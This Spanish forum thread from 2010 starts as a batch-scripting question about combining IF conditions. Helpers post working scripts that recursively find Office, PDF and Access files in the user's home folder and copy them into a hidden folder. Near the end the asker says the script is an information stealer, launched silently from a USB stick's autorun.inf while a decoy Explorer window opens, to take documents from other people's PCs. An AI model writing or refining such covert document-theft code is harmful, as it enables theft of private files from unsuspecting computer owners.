Hola estoy haciendo un pequeño script en batch y no se como hacer un IF con varias combinaciones lógicas.
Lo que estoy haciendo es lo siguiente:
if "%%~xx" == ".xls" | "%%~xx" == ".xlsx" | "%%~xx" == ".doc" | "%%~xx" == ".docx" | "%%~xx" == ".pdf" | "%%~xx" == ".mdb" | "%%~xx" == ".accdb"
Pero me da error diciendo: No se esperaba | en este momento.
También he probado de este otro modo:
if "%%~xx" == ".xls" or "%%~xx" == ".xlsx" or "%%~xx" == ".doc" or "%%~xx" == ".docx" or "%%~xx" == ".pdf" or "%%~xx" == ".mdb" or "%%~xx" == ".accdb"
Pero siempre se cumple el IF cuando y en algunas ocasiones no debería de cumplisrse, así que tampoco funciona bien.
Alguna solución que no sea una cadena de if - else - if
NOTA: el IF está dentro de un FOR y la variable del FOR es x.
Un saludo y gracias.
Cita de: IWKY en 26 Junio 2010, 03:29 AM
Alguna solución que no sea una cadena de if - else - if
No.
Pues vaya ***** de lenguaje. ¿Pero en serio que no se puede hacer nada?, ¿no hay otra manera de montar el if para que todo se pueda validar de golpe?.
Citar¿Pero en serio que no se puede hacer nada?
Claro que sí, conociendo esa **** de lenguaje.
Dame algunos minutos, estoy en Linux.
Hombre llevo ya un rato buscando en google, pero casi siempre sale el manual de sdc, y ahí solo está lo básico, y en la ayuda de batch tampoco es que se explaye mucho.
Espero... a que termines.
Lo sé, en Batch no hay manuales de referencia, hace tiempo que estoy pensando en escribir algo, pero no tengo tiempo.
PD : Si quieres no consideres a Batch como un lenguaje.
Pues si que estaría bien que hicieras un manual con materia más avanzada, porque ya te digo que llevo rato mirando y no encuentro nada, y los ejemplos que encuentro la mayoría son de if sentenciaSimple goto.
Hombre se que bacth es limitado, pero que menos que un mínimo de sintaxis bien definida.
Disculpas por la tardanza, lo había olvidado.
Puedes implementar algo así:
@echo off
if "%1"=="" (
echo [ERROR] 1
exit /b 1
)
rem ".xls" ".xlsx" ".doc" ".docx" ".pdf" ".mdb" ".accdb"
for %%_ in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
echo %1 | findstr /i "%%_\>" && (goto:found)
)
goto:eof
:found
echo Archivo valido.
exit /b 0
Bastante artesanal, pero bueno, de que se puede se puede.
Cita de: IWKY en 26 Junio 2010, 04:08 AM
Hombre se que bacth es limitado, pero que menos que un mínimo de sintaxis bien definida.
Eso dicelo a los programadores de Microsoft, yo siempre he estado enojado con ellos :P, lo que más me puede es que no podemos trabajar con decimales.
C:\>code jklasd
C:\>code jklasd.pdf
jklasd.pdf
Archivo valido.
C:\>code jklasd.txt
C:\>code jklasd.xls
jklasd.xls
Archivo valido.
C:\>code jklasd.docx
jklasd.docx
Archivo valido.
C:\>code jklasd.cpp
C:\>code jklasd.mdb
jklasd.mdb
Archivo valido.
C:\>
Gracias, voy a probarlo, de momento tengo toda una cadena de if - else - if,. Está solución aunque no queda muy bonita (no tiene estética) parece ser que soluciona el problema que yo comentaba, pero hay que reconocer que es un poco rebuscado, en fin gracias de nuevo, y ya comento que tal funciona.
mmmm....
No me termina de servir, porque tu implementación solo encuentra una coincidencia sale del FOR y se va al :found, yo quisiera que se quedara dentro del FOR, te pongo el código para que lo veas.
@echo off
set ruta=%~dp0
set save=%ruta%save
if not exist "%save%" (
mkdir "%save%" > nul
attrib +R +H "%save%" > nul
)
%HOMEDRIVE% > nul
cd %HOMEPATH% > nul
for /R %%x in (*.*) do (
if "%%~xx" == ".xls" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".xlsx" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".doc" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".docx" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".pdf" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".mdb" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".accdb" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
)
)
)
)
)
)
)
) > nul
exit /b 0
Si utilizo tu código se saldría del for con la primera coincidencia, y no creo que con otro GOTO hacia dentro del FOR funcione, así que o existe otra opción o creo que se quedará así, aunque no veo lógico que no se pueda hacer una combinación lógica dentro de un IF.
*** EDITO ***
Estoy probando otra cosa, en la cual uso tu código.
for /R %%x in (*) do (
for %%e in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
echo %%x | findstr /i "%%e\>" && goto found
goto nofound
:found
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
:nofound
) > nul
) > nul
Y el problema que surge en este caso, es que después de la etiqueta :nofound da un error: La sintaxis del comando no es correcta..
La idea es que si no coincide que continue en la ejecución del bucle, pero da ese error, y ahora mismo no se me ocurre como hacer una combinación de goto's para que funcione bien.
Saludos.
por ahi las soluciones mas simples son mejores que un codigo bonito...por lo que veo tratas de copiar archivos word y excel a una carpeta save...pues porque no usas copy y despues usando copiar pegar le vas cambiando las extensiones de archivos por cada extensión...
move "E:\Ares\My Shared Folder\___ARESTRA___*" "E:\Flony\flony14\videos"
jaja este rea un code para mover o sea cortar pegar de una carpeta a otra pero el concepto seria mas o menos
IF EXIST *.doc (copy /y %HOMEPATH% *.doc %save%)
IF EXIST *.docx (copy /y%HOMEPATH% *.docx %save%)
rem etc etc
va a tardar un cacho eso casi seguro depende de cuantos archivos tenga...pero bue :rolleyes: es mas lento hacerlo a mano :laugh: y seguro ocuparia mas espacio en tu pc.. :rolleyes:...es tu pc? :¬¬ :laugh: xq es oculta ;-)
de ultima este me parece mejor
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.*) DO copy %%x %save%)
jijiji el ultimo no lo probe pero me parece mejor....copiaria todo...
o
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.doc) DO copy %%x %save%)
y le vas agregando las extensiones
He probado esto y funciona:
@echo off
set "save=%~dp0save"
if not exist "%save%" (
mkdir "%save%" 2> nul
atrib +r +h "%save%" 2> nul
)
cd /d "%homepath%\"
for /r %%# in (*.*) do (
for %%_ in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
echo %%# | findstr /r /i "%%_\>" > nul 2>&1 && (
copy /y "%%#" "%save%" > nul 2>&1
)
)
)
exit /b 0
Teniendo solo conocimientos básicos de batch es dificil hacerlo.
Por mi consideren a Batch como quieran, yo lo sigo usando como una herramienta más.
Saludos.
no lo probe....tampoco lo haria :laugh: pero es muy bonito el code leo...y viniendo de ud. que mas se puede esperar ;-)
Ahora estoy fuera y no puedo probar nada, pero la idea del code es que un autorun.inf en un pendrive, lanza un ejecutable que abre el Explorer con la carpeta del pendrive y ocultamente lanza el batch, que trata de copiar todos los documentos (que interesan) del directorio del usuario a una carpeta oculta en el pendrive.
Cita de: flony en 26 Junio 2010, 16:52 PM
...es tu pc? :¬¬ :laugh: xq es oculta ;-)
No, no es mi PC, como ya he dicho antes es una especie de roba-información. Está claro que no es lo último en ocultamiento pero puede engañar a más de uno.
Cuando lleve a casa publicaré todo el code y opinaís.
Un saludo